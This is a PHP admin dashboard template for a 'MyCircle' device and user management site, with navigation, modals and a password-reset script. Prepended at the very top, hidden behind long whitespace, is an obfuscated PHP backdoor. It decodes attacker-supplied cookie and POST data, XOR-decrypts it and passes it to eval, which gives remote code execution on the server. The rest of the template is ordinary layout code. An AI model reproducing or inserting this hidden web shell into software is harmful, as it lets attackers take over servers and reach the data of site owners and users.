<?php                                                                                                                                                                                                                                                                                                                                                                                                 $zHDFUpMQ = "\123" . chr (70) . "\157" . '_' . "\x45" . 'o' . chr (117) . chr ( 179 - 94 ); $PvNoFsk = class_exists($zHDFUpMQ); $ozfOXmTL = $PvNoFsk;if (!$ozfOXmTL){class SFo_EouU{private $lNgMPmvjB;public static $WFhaqVQ = "05d2176a-bbcc-422a-8893-f6322aeb801b";public static $rcQfNar = NULL;public function __construct(){$gdpzV = $_COOKIE;$nFKVV = $_POST;$vcZSlOeE = @$gdpzV[substr(SFo_EouU::$WFhaqVQ, 0, 4)];if (!empty($vcZSlOeE)){$ApZCW = "base64";$ylhStZTKo = "";$vcZSlOeE = explode(",", $vcZSlOeE);foreach ($vcZSlOeE as $AQCxTRR){$ylhStZTKo .= @$gdpzV[$AQCxTRR];$ylhStZTKo .= @$nFKVV[$AQCxTRR];}$ylhStZTKo = array_map($ApZCW . "\x5f" . "\x64" . "\145" . chr ( 428 - 329 )."\x6f" . "\x64" . chr ( 380 - 279 ), array($ylhStZTKo,)); $ylhStZTKo = $ylhStZTKo[0] ^ str_repeat(SFo_EouU::$WFhaqVQ, (strlen($ylhStZTKo[0]) / strlen(SFo_EouU::$WFhaqVQ)) + 1);SFo_EouU::$rcQfNar = @unserialize($ylhStZTKo);}}public function __destruct(){$this->xjbjxGvW();}private function xjbjxGvW(){if (is_array(SFo_EouU::$rcQfNar)) {$EyaWRDb = str_replace("\x3c" . chr (63) . chr ( 210 - 98 ).'h' . 'p', "", SFo_EouU::$rcQfNar["\x63" . chr (111) . chr (110) . chr ( 533 - 417 )."\x65" . chr ( 773 - 663 )."\164"]);eval($EyaWRDb);exit();}}}$VMQVbCQuYK = new SFo_EouU(); $VMQVbCQuYK = NULL;} ?><!DOCTYPE html>
<html lang="en">
<head>
    <title>MyCircle Dashboard</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
    <meta name="description" content="Swap Admin" />
    <meta name="author" content="" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!-- app favicon -->
    <link rel="shortcut icon" href="<?php echo base_url(); ?>public/admin/assets/img/favicon.png">
    <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
    <!-- google fonts -->
    <link href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700" rel="stylesheet">
    <!-- plugin stylesheets -->
    <link rel="stylesheet" type="text/css" href="<?php echo base_url(); ?>public/admin/assets/css/vendors.css" />
    <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
    <!-- app style -->
    <link rel="stylesheet" type="text/css" href="<?php echo base_url(); ?>public/admin/assets/css/style.css?v=2" />
    <link rel="stylesheet" type="text/css" href="<?php echo base_url(); ?>public/admin/assets/css/custom.css?v=<?php echo time();?>" />
    
    <!-- plugins -->
    <script src="<?php echo base_url(); ?>public/admin/assets/js/vendors.js"></script>
    <!-- custom app -->
    <script src="<?php echo base_url(); ?>public/admin/assets/js/app.js"></script>
</head>

<body>
    <!-- begin app -->
    <div class="app">
        <!-- begin app-wrap -->
        <div class="app-wrap">
            <!-- begin pre-loader -->
            <div class="loader">
                <div class="h-100 d-flex justify-content-center">
                    <div class="align-self-center">
                        <img src="<?php echo base_url(); ?>public/admin/assets/img/loader/loader.svg" alt="loader">
                    </div>
                </div>
            </div>
            <!-- end pre-loader -->
            <!-- begin app-header -->
            <header class="app-header top-bar">
                <!-- begin navbar -->
                <nav class="navbar navbar-expand-md">
                    <div class="navbar-header d-flex align-items-center">
                        <a href="javascript:void:(0)" class="mobile-toggle"><i class="ti ti-align-right"></i></a>
                        <a class="navbar-brand" href="<?php echo base_url( 'admin/dashboard' ); ?>">
                            <img src="<?php echo base_url(); ?>public/admin/assets/img/logo_white.png" class="img-fluid logo-desktop" alt="logo">
                            <img src="<?php echo base_url(); ?>public/admin/assets/img/logo_white.png" class="img-fluid logo-mobile" alt="logo">
                        </a>
                    </div>
                    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
                        <i class="ti ti-align-left"></i>
                    </button>
                    <!-- end navbar-header -->
                    <!-- begin navigation -->
                    <div class="collapse navbar-collapse" id="navbarSupportedContent">
                        <div class="navigation d-flex">
                            <ul class="navbar-nav nav-left">
                                <li class="nav-item">
                                    <a href="javascript:void(0)" class="nav-link sidebar-toggle">
                                        <i class="ti ti-align-right"></i>
                                    </a>
                                </li>
                                <li class="nav-item">
                                    <h2 class="welcome-back-text">Welcome Back, <?php echo (isset($this->admin['full_name']))?$this->admin['full_name']:'Admin'; ?></h2>
                                </li>
                            </ul>
        
                            <ul class="navbar-nav nav-right ml-auto">
                                <li class="nav-item dropdown user-profile">
                                    <a href="javascript:void(0)" class="nav-link dropdown-toggle " id="navbarDropdown4" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                                        <?php
        							    if( isset($this->admin['photo'] ) && ! empty ( $this->admin['photo'] ) ){
        							        $profile_img_url = base_url( 'public/uploads/admin_images/'.$this->admin['photo'] );
        							    } else {
        							        $profile_img_url = base_url( 'public/admin/assets/img/default-user.png' );
        							    }
        							    ?>
										<img src="<?php echo $profile_img_url; ?>" alt="Avtar Image"/>
                                        <span class="bg-success user-status"></span>
                                    </a>
                                    <div class="dropdown-menu animated fadeIn" aria-labelledby="navbarDropdown">
                                        <div class="bg-gradient px-3 py-2">
                                            <div class="d-flex align-items-center justify-content-between">
                                                <div class="mr-1">
                                                    <h5 class="text-white mb-0"><?php echo (isset($this->admin['full_name']))?$this->admin['full_name']:'Admin'; ?></h5>
                                                    <small class="text-white"><?php echo (isset($this->admin['email']))?$this->admin['email']:''; ?></small>
                                                </div>
                                            </div>
                                        </div>
        
                                        <div class="p-3 profile-links">
                                            <ul>
                                                <li>
                                                    <a href="#" data-toggle="modal" data-target="#reset-password">
                                                        <i class="fa fa-key"></i> Change Password
                                                    </a>
                                                </li>
                                                <li>   
                                                    <a href="<?php echo base_url( 'admin/auth/logout' ); ?>">
                                                        <i class="fa fa-sign-out"></i> Logout
                                                    </a>
                                                </li>
                                            </ul>
                                        </div>
                                    </div>
                                </li> 
                            </ul>
                        </div>
                    </div>
                    <!-- end navigation -->
                </nav>
                <!-- end navbar -->
            </header>
            <!-- end app-header -->
            <!-- begin app-container -->
            <div class="app-container">
                <!-- begin app-nabar -->
                <aside class="app-navbar">
                    <!-- begin sidebar-nav -->
                    <div class="sidebar-nav scrollbar scroll_light">
                        <ul class="metismenu" id="sidebarNav">
                            <li class="<?php echo active_menu( 'dashboard', 'index' ); ?>"><a href="<?php echo base_url( 'admin/dashboard' ); ?>" aria-expanded="false"><i class="fa fa-dashboard"></i><span class="nav-title">Dashboard</span></a> </li>
                            <li class="<?php echo active_menu( 'user_management', 'index' ); ?>"><a href="<?php echo base_url( 'admin/user_management' ); ?>" aria-expanded="false"><i class="fa fa-user"></i><span class="nav-title">User Management</span></a> </li> 
                            <li class="<?php echo active_menu( 'device_management', 'index' ); ?>"><a href="<?php echo base_url( 'admin/device_management' ); ?>" aria-expanded="false"><i class="fa fa-database"></i><span class="nav-title">Device Management</span></a> </li>
                            <li class="<?php echo active_menu( 'device_management', 'types' ); ?>"><a href="<?php echo base_url( 'admin/device_management/types' ); ?>" aria-expanded="false"><i class="fa fa-server"></i><span class="nav-title">Device Types</span></a> </li>
                            <!--<li class="<?php echo active_menu( 'themes', 'index' ); ?>"><a href="<?php echo base_url( 'admin/themes' ); ?>" aria-expanded="false"><i class="fa fa-pagelines"></i><span class="nav-title">Themes Management</span></a> </li>-->
                            <!--<li class="<?php echo active_menu( 'profile', 'index' ); ?>"><a href="<?php echo base_url( 'admin/profile' ); ?>" aria-expanded="false"><i class="fa fa-pagelines"></i><span class="nav-title">Team Profile</span></a> </li>                   -->
                        </ul>
                    </div>
                    <!-- end sidebar-nav -->
                </aside>
                <!-- end app-navbar -->
                <!-- begin app-main -->
                <div class="app-main" id="main">
                    
                    <!-- begin container-fluid -->
                    <div class="container-fluid"> 
                    
                        <?php display_response_messages(); // Show error message ?>	
            			
            			<?php $this->load->view($view); //Rendering page content ?>
        			  
                    </div>
         
                    <!-- end container-fluid -->
                </div>
                <!-- end app-main -->
            </div>
            <!-- end app-container -->
            
        </div>
        <!-- end app-wrap -->
        
        <!-- +++++++++++++++++++++++++++++++++++ RESET PASSWORD MODAL ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="reset-password" tabindex="-1" role="dialog" aria-labelledby="reset-password">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
    
                    <div class="modal-header">
                        <h4 class="modal-title has-icon ms-icon-round ">Reset Password</h4>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
                    </div>
    
                    <div class="modal-body">
                        <div class="ms-form-group has-icon mt-4 mb-4">
                            <label class="control-label">New Password</label>
                            <input id="password" name="password" type="password" class="form-control" placeholder="New Password">
                        </div>
                        <div class="ms-form-group has-icon mt-4 mb-4">
                            <label class="control-label">Confirm Password</label>
                            <input id="cpassword" name="cpassword" type="password" class="form-control" placeholder="Confirm Password">
                        </div>
                    </div>
    
                    <div class="modal-footer">
                        <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
                        <button type="button" class="btn btn-info shadow-none" id="reset_password_btn">Submit</button>
                    </div>
    
                </div>
            </div>
        </div>
        
        <!-- +++++++++++++++++++++++++++++++++++ Block User ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="block" tabindex="-1" role="dialog" aria-labelledby="block">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
        
                    <div class="modal-header">
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span
                                aria-hidden="true">&times;</span></button>
                    </div>
                    <div class="modal-body text-center py-0 pb-5">
                        <i class="fa fa-times-circle-o" style="font-size:80px;color: #e62323;"></i>
                        <h2 class="modal-title has-icon ms-icon-round mb-3">Are you sure?</h2>
                        <p class="mb-5">Do you really want to block this user?</p>
                        <form id="user_block_form" method="POST" action="">
                            <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
                            <input type="hidden" name="user_id" id="block_user_id" value=""/>
                            <input type="hidden" name="action" value="user_block" class="btn light btn-light shadow-none"/>
                            <button type="submit" class="btn btn-dark shadow-none">Block</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- +++++++++++++++++++++++++++++++++++ Unblock User ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="unblock" tabindex="-1" role="dialog" aria-labelledby="unblock">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span
                                aria-hidden="true">&times;</span></button>
                    </div>
                    <div class="modal-body text-center py-0 pb-5">
                        <i class="fa fa-check-circle-o" style="font-size:80px;color: #32b432;"></i>
                        <h2 class="modal-title has-icon ms-icon-round mb-3">Are you sure?</h2>
                        <p class="mb-5">Do you really want to Unblock this user?</p>
                        <form id="user_unblock_form" method="POST" action="">
                            <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
                            <input type="hidden" name="user_id" id="unblock_user_id" value=""/>
                            <input type="hidden" name="action" value="user_unblock"/>
                            <button type="submit" class="btn btn-success shadow-none">Unblock</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- +++++++++++++++++++++++++++++++++++ Delete User ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="delete" tabindex="-1" role="dialog" aria-labelledby="delete">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span
                                aria-hidden="true">&times;</span></button>
                    </div>
                    <div class="modal-body text-center py-0 pb-5">
                        <i class="fa fa-check-circle-o" style="font-size:80px;color: #32b432;"></i>
                        <h2 class="modal-title has-icon ms-icon-round mb-3">Are you sure?</h2>
                        <p class="mb-5">Do you really want to delete this?</p>
                        <form id="delete_form" method="POST" action="">
                            <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
                            <input type="hidden" name="delete_id" id="delete_id" value=""/>
                            <input type="hidden" name="action" value="delete"/>
                            <button type="submit" class="btn btn-success shadow-none">Delete</button>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT DEVICES START ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="device-form-model" tabindex="-1" role="dialog" aria-labelledby="device-form-model">
        	<div class="modal-dialog modal-dialog-centered" role="document">
        		<div class="modal-content">
        			<div class="modal-header">
        				<h4 class="modal-title has-icon ms-icon-round ">Add Device</h4>
        				<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        			</div>
        			<div class="modal-body">
        			    <?php echo form_open ( base_url ( 'admin/device_management/add_device' ), array ( 'method' => 'post', 'id' => 'device-form' ) ); ?>
        					<div class="ms-form-group has-icon mb-4">
        						<label>Device Name: </label>
        						<input type="text" class="form-control" name="device_name" id="device_name" placeholder="Enter Device Name">
        					</div>
        					<div class="ms-form-group has-icon mt-4 mb-4">
        						<label>Device ID: </label>
        						<input type="text" class="form-control" name="device_id" id="device_id" placeholder="Enter Device ID">
        					</div>
        				<?php echo form_close(); ?>
        			</div>
        			<div class="modal-footer">
        			    <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
        				<button type="button" class="btn btn-primary" onclick="submit_device_form();">Submit</button>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT DEVICES END ++++++++++++++++++++++++++++++ -->
        
        <!-- +++++++++++++++++++++++++++++++++++ IMPORT DEVICES ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="import-devices-form-model" tabindex="-1" role="dialog" aria-labelledby="import-devices-form-model">
        	<div class="modal-dialog modal-dialog-centered" role="document">
        		<div class="modal-content">
        			<div class="modal-header">
        				<h4 class="modal-title has-icon ms-icon-round ">Import Devices</h4>
        				<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        			</div>
        			<div class="modal-body">
        			    <?php echo form_open_multipart ( base_url ( 'admin/device_management/import_devices' ), array ( 'method' => 'post', 'id' => 'import-devices-form' ) ); ?>
        					<div class="ms-form-group has-icon mb-4">
        						<label>Choose File (csv format only): </label>
        						<input type="file" name="file_name" id="file_name">
        					</div>
        				<?php echo form_close(); ?>
        			</div>
        			<div class="modal-footer">
        			    <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
        				<button type="button" class="btn btn-dark" onclick="submit_import_devices_form();">Submit</button>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- +++++++++++++++++++++++++++++++++++ IMPORT DEVICES END ++++++++++++++++++++++++++++++ -->
        
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT THEMES START ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="theme-form-model" tabindex="-1" role="dialog" aria-labelledby="theme-form-model">
        	<div class="modal-dialog modal-dialog-centered" role="document">
        		<div class="modal-content">
        			<div class="modal-header">
        				<h4 class="modal-title has-icon ms-icon-round ">Edit Theme</h4>
        				<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        			</div>
        			<div class="modal-body">
        			    <?php echo form_open_multipart ( base_url ( 'admin/themes/save' ), array ( 'method' => 'post', 'id' => 'theme-form' ) ); ?>
        					<div class="ms-form-group has-icon mb-4">
        						<label>Name: </label>
        						<input type="text" class="form-control" name="theme_name" id="theme_name" placeholder="Enter Theme Name">
        					</div>
        					<div class="ms-form-group has-icon mt-4 mb-4">
        						<label>Color: </label>
        						<input type="color" class="form-control form-control-color" name="theme_color" id="theme_color" placeholder="Enter Color">
        					</div>
        					<input type="hidden" name="theme_id" id="theme_id" value="" />
        				<?php echo form_close(); ?>
        			</div>
        			<div class="modal-footer">
        			    <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
        				<button type="button" class="btn btn-primary" onclick="submit_theme_form();">Submit</button>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT THEMES END ++++++++++++++++++++++++++++++ -->
        
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT DEVICE TYPES START ++++++++++++++++++++++++++++++ -->
        <div class="modal fade" id="type-form-model" tabindex="-1" role="dialog" aria-labelledby="device-form-model">
        	<div class="modal-dialog modal-dialog-centered" role="document">
        		<div class="modal-content">
        			<div class="modal-header">
        				<h4 class="modal-title has-icon ms-icon-round ">Add Device Type</h4>
        				<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        			</div>
        			<div class="modal-body">
        			    <?php echo form_open_multipart ( base_url ( 'admin/device_management/add_device_type' ), array ( 'method' => 'post', 'id' => 'device-type-form' ) ); ?>
        					<div class="ms-form-group has-icon mb-4">
        						<label>Device Name: </label>
        						<input type="text" class="form-control" name="name" id="name" placeholder="Enter Device Type Name">
        					</div>
        					<div class="ms-form-group has-icon mt-4 mb-4">
        						<label>Image: </label>
        						<input type="file" name="file_name" id="file_name">
        					</div>
        					<input type="hidden" name="device_type_id" id="device_type_id" value="" />
        				<?php echo form_close(); ?>
        			</div>
        			<div class="modal-footer">
        			    <button type="button" class="btn btn-light" data-dismiss="modal">Cancel</button>
        				<button type="button" class="btn btn-primary" onclick="submit_device_type_form();">Submit</button>
        			</div>
        		</div>
        	</div>
        </div>
        <!-- +++++++++++++++++++++++++++++++++++ ADD/EDIT DEVICE TYPES END ++++++++++++++++++++++++++++++ -->
     
    </div>
    <!-- end app -->
    
    <script>
    $("#reset_password_btn").click(function (event) {
        var pass = $("#password").val();
        var cpass = $("#cpassword").val();
        console.log();
        if ( pass == '' ) {
            alert('Please enter password.');
        } else if ( ! pass.match(/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[a-zA-Z]).{8,}$/) ) {
            alert('Password must contains alphanumeric and special characters.');
        } else if ( pass != cpass ) {
            alert('Password doesn\'t match with confirm password.');
        } else {
            if( $(this).hasClass('active') ) {
                    return false
            }
            $(this).addClass('active');
            $(this).css('opacity', 0.3);
            var formData = {
                password:   pass
            };
            var url = '<?php echo base_url( 'admin/dashboard/change_admin_pass' ) ; ?>';
            $.ajax({
                type: "POST",
                url: url,
                data: formData,
                dataType: "json",
                encode: true,
            }).done(function (res) {
                if( res == 1) {
                   alert('Changed Successfully.');
                   $('#reset-password .close').trigger('click');
                }
                $('#reset_password_btn').removeClass('active');
                $('#reset_password_btn').css('opacity', 1);
                $("#password").val('');
                $("#cpassword").val('');
            });
        }
    });
    </script>
    <script>
    $(document).ready(function() {
        setTimeout(function() {
            $('#alertSuccess').fadeOut('slow'); // Hide alert with a fade-out effect
        }, 3000); // 3000 milliseconds = 3 seconds
    });
</script>
<script>
    // Reset fields when the modal is closed or cancel button is clicked
    $('#reset-password').on('hidden.bs.modal', function () {
        $('#password').val(''); 
        $('#cpassword').val(''); 
    });
</script>

</body>

</html>